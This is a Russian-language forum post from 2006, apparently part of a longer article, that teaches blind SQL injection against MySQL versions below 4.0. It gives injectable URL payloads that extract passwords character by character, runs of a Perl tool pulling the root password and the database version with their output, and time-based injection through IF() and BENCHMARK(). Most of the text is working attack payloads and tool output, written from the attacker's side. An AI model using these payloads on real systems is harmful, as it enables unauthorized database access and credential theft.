Показать сообщение отдельно

  #3  
Старый 03.05.2006, 16:06
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
С нами: 10640486

Репутация: 408
По умолчанию

__ MySQL версии < 4.0 __

Вот мы и подошли к самому интересному разделу данной статьи. Раньше я не встречал документов описывающих методику использования атак типа внедрения sql кода для получения информации о записях в базе данных на версиях MySQL ниже 4.0. И в разнообразных эксплоитах, которые можно найти в сети, основанных на данном типе уязвимости пишут, что атака осуществима только на версиях поддерживающих UNION. Но гораздо чаще все-же встречаются более низкие версии. =(
Без поддержки обьединения запросов с помощью UNION и без поддержки подзапросов атакующий очень сильно урезан в правах, точнее сказать он ограничен таблицей (или таблицами) с которыми работает уязвимый запрос (запрос в который мы добавляем наш sql код). Кроме информации из таблиц с которыми работает уязвимый запрос атакующий также может получить значения некоторых системных переменных о которых будет рассказано далее, а пока перейдем к получению данных из таблицы.

Итак предположим, что наш уязвимый php-скрипт работает с базой данных версия которой ниже 4.

Добавим в запрос к серверу условие ограничивающее выборку еще и именем пользователя (конечно это выполнимо при условии, что мы уже располагаем информацией о имени пользователя), таким образом запрос примет следующий вид:
server.com/users.php?id=1 AND login="admin"
В БД выполняется запрос
SELECT status FROM users WHERE status=1 AND login="admin"
Если данный запрос вернет результат, то мы определяем, что в таблице есть запись у которой в поле status стоит значение 1, а в поле login находится значение admin. В нашем случае только одна запись совпадает с данным условием, а в других случаях придется вводить условия пока выборка не станет возвращать только один результат.
Теперь можно вставить еще одно условие
server.com/users.php?id=1 AND login="admin" AND ascii(lower(substring(password,1,1)))>48
в БД выполняется запрос
SELECT status FROM users WHERE status=1 AND login="admin" AND ascii(lower(substring(password,1,1)))>48
Данный запрос возвращает результат только в случае если в таблице есть запись у которой в поле status стоит значение 1, в поле login находится значение admin а код первого символа значения полученного из поля password более 48. Первыми условиями мы ограничиваем выборку строкой из которой хотим получить запись из нужного столбца, а последним условием соответственно проверяем совпадение или несовпадение кода символа полученного из записи. Таким образом можно перебором получить значение данного столбца, этой записи. Меняя первые условия в запросе мы можем менять строки, значения из которых мы собираемся перебирать.

Пример получения записи из столбца password для юзера admin на mysql версии ниже 4.0:
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1
FROM mysql.user WHERE user=char(114,111,111,116)" "password" 1 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char < 54
-> Try 46 .. 55 -> Char < 50
-> Try 46 .. 51 -> Char > 48
-> Try 48 -> NO =(
-> Try 49 -> NO =(
-> Try 50 -> FOUND!
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1
FROM mysql.user WHERE user=char(114,111,111,116)" "password" 2 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char > 54
-> Try 54 .. 62 -> Char < 58
-> Try 54 .. 59 -> Char > 56
-> Try 56 -> NO =(
-> Try 57 -> FOUND!
-> Ascii: 57
-> Char: 9
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1
FROM mysql.user WHERE user=char(114,111,111,116)" "password" 3 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char > 97
-> Try 97 -> NO =(
-> Try 98 -> FOUND!
-> Ascii: 98
-> Char: b
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1
FROM mysql.user WHERE user=char(114,111,111,116)" "password" 4 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char < 97
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a
И так далее...

__ Системные переменные __

Кроме получения информации из записей таблицы (или таблиц) с которыми работает запрос, в который мы внедряем наш код, мы также можем получить перебором значения некоторых системных переменных. Пример такого получения значения уже встречался ранее в статье когда мы получали имя пользователя из user().
Кроме user() мы можем получить следующие значения:
database() - название базы данных с которой работает наш запрос.
version() - версия базы данных с которой работает наш скрипт. Кроме version() можно также использовать и @@version что является синонимом данной функции и поддержка которого введена в mysql начиная с версий 3.23.50

Как пример получение версии БД через наш уязвимый скрипт:

C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 1 "Found: 3" 46 57
-> Ascii: 51
-> Char: 3
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 2 "Found: 3" 46 57
-> Ascii: 46
-> Char: .
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 3 "Found: 3" 46 57
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 4 "Found: 3" 46 57
-> Ascii: 51
-> Char: 3
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 5 "Found: 3" 46 57
-> Ascii: 46
-> Char: .
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 6 "Found: 3" 46 57
-> Ascii: 53
-> Char: 5
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 7 "Found: 3" 46 57
-> Ascii: 56
-> Char: 8
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 8 "Found: 3" 46 57
-> Try 46 .. 57 -> Char < 51
-> Try 46 .. 52 -> Char < 49
-> Try 46 -> NO =(
-> Try 47 -> NO =(
-> Try 48 -> NO =(
-> Try 49 -> NO =(
NOT FOUND

Таким образом версия БД: 3.23.58
Для ускорения перебора мы используем диапазон 46..57 включающий в себя цифры и точку. Именно поэтому последний запрос возвращает NOT FOUND.

__ Задержки __

Нет, это не те задержки которые случаются у девушек и указывают на то, что пришло время идти покупать соску, тут все не так страшно =)
В вышеописанных примерах наш перебор основывался на том, что существует вывод какой-либо информации о том был ли успешно выполнен запрос в БД (точнее был ли возвращен результат запроса) или же нет. Но бывают случаи когда доступа к такой информации у атакующего нет.
Например на сервере существует такой скрипт stat.php:
<?
error_reporting(0);
... подключение к базе данных ...
@mysql_query("UPDATE stat SET num=num+1 WHERE id=$id");
echo "OK";
?>
Данный скрипт работает с таблицей stat следующего вида:
+----+-----+------------+---------------+
| id | num | name | password |
+----+-----+------------+---------------+
| 1 | 100 | Яндыкс.ru | kewl_password |
| 2 | 200 | Румблер.ru | bad_password |
+----+-----+------------+---------------+
Скрипт в зависимости от переданного значения параметра id обновляет подходящую по условию запись, добавляя единицу к значению столбца num.
Никакой информации о результате выполнения запроса после этого не выводится и соответственно мы не можем таким образом определить выполнение или невыполнение дополнительного условия.
Для дополнительного условия мы будем использовать функцию if() которая позволяет вставлять результат в запрос в зависимости от выполнения или невыполнения условия указанного в качестве первого параметра в данной функции.
IF(expr1,expr2,expr3)
Если expr1 равно значению ИСТИНА (expr1 <> 0 и expr1 <> NULL), то функция IF() возвращает expr2, в противном случае - expr3.
Также мы будем использовать функцию BENCHMARK(count,expr) которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. Она может использоваться для определения того, насколько быстро MySQL обрабатывает данное выражение. Значение результата всегда равно 0.
В качестве выражения expr в функции benchmark мы будем использовать вычисление контрольной суммы с помощью функции md5()
MD5(string) - Вычисляет 128-битовую контрольную сумму MD5 для аргумента string. Возвращаемая величина представляет собой 32-разрядное шестнадцатеричное число.
Данные функции мы будем использовать следующим образом: benchmark(999999,md5(char(114,115,116)));
Если попробовать выполнить данную функцию в mysql то можно заметить, что на её выполнение требуется порядка 10 секунд.
mysql> select benchmark(999999,md5(char(114,115,116)));
+------------------------------------------+
| benchmark(999999,md5(char(114,115,116))) |
+------------------------------------------+
| 0 |
+------------------------------------------+
1 row in set (10.20 sec)

Итак делаем такой запрос к серверу:
server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999 999,md5(char(114,115,116))));

Вызывает выполнение в БД запроса

UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999 999,md5(char(114,115,116))));

Что происходит в данном запросе. Сначала берется значение столбца password из строки для которой id=1, после этого из этого значения с помощью функции substring() получаем первый символ. И сравниваем этот символ с символом "u".
Тут начинается самое интересное.
Если условие выполняется то функция if() возвращает значение указанное в качестве второго параметра т.е. 1 и запрос принимает вид: UPDATE stat SET num=num+1 WHERE id=1 AND 1=1 соответственно данный запрос выполняется и ничего экстраординарного не происходит, все как обычно.
В случае если условие указанное в функции if() невыполняется то функция пытается возвратить значение указанное в качестве третьего параметра функции т.е. benchmark(999999,md5(char(114,115,116))) соответственно для этого ей нужно для начала получить это значение и происходит вычисление данной функции. Но на это вычисление базе данных естественно требуется некоторое время, достаточно длительное. После чего значение 0 подставляется в запрос и соответственно запрос не выполняется т.к. условие 1=0 но это нас уже не интересует.
Суть в том, что при невыполнении условия в функции if() общее время выполнения запроса к базе данных получается большим чем время когда условие выполняется. И это время зависит от времени необходимого на работу функции bencmark. Соответственно наш уязвимый скрипт выполняется гораздо дольше при невыполнении условия.
Таким образом меняя условия внутри функции и смотря на время выполнения скрипта мы можем также как и ранее пользуясь substring() получить перебором значения из записи в таблице.

Попробовав выполнить запросы с различными условиями в базе данных можно понаблюдать за изменением веремени их выполнения:

1. Условие невыполняется
mysql> UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999 999,md5(char(114,115,116))));
Query OK, 0 rows affected (10.28 sec)
Rows matched: 0 Changed: 0 Warnings: 0

2. Условие выполняется
mysql> UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="k"),1,benchmark(999 999,md5(char(114,115,116))));
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0

Пример перебора с использованием задержек:

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="w"),1,benchmark(999 999,md5(char(114,115,116))));
Результат: Задержка вывода
Вывод: Первый символ в поле password для строки где id=1 не равен "w"

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="b"),1,benchmark(999 999,md5(char(114,115,116))));
Результат: Задержка вывода
Вывод: Первый символ не равен "b"

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="k"),1,benchmark(999 999,md5(char(114,115,116))));
Результат: Нет задержки
Вывод: Первый символ равен "k"

И так далее перебирая символы и позиции в строке можно полностью получить всю строку. Таким образом даже наличие вывода о выполнении или невыполнении запроса не является необходимым условием для осуществления посимвольного перебора записей из базы данных.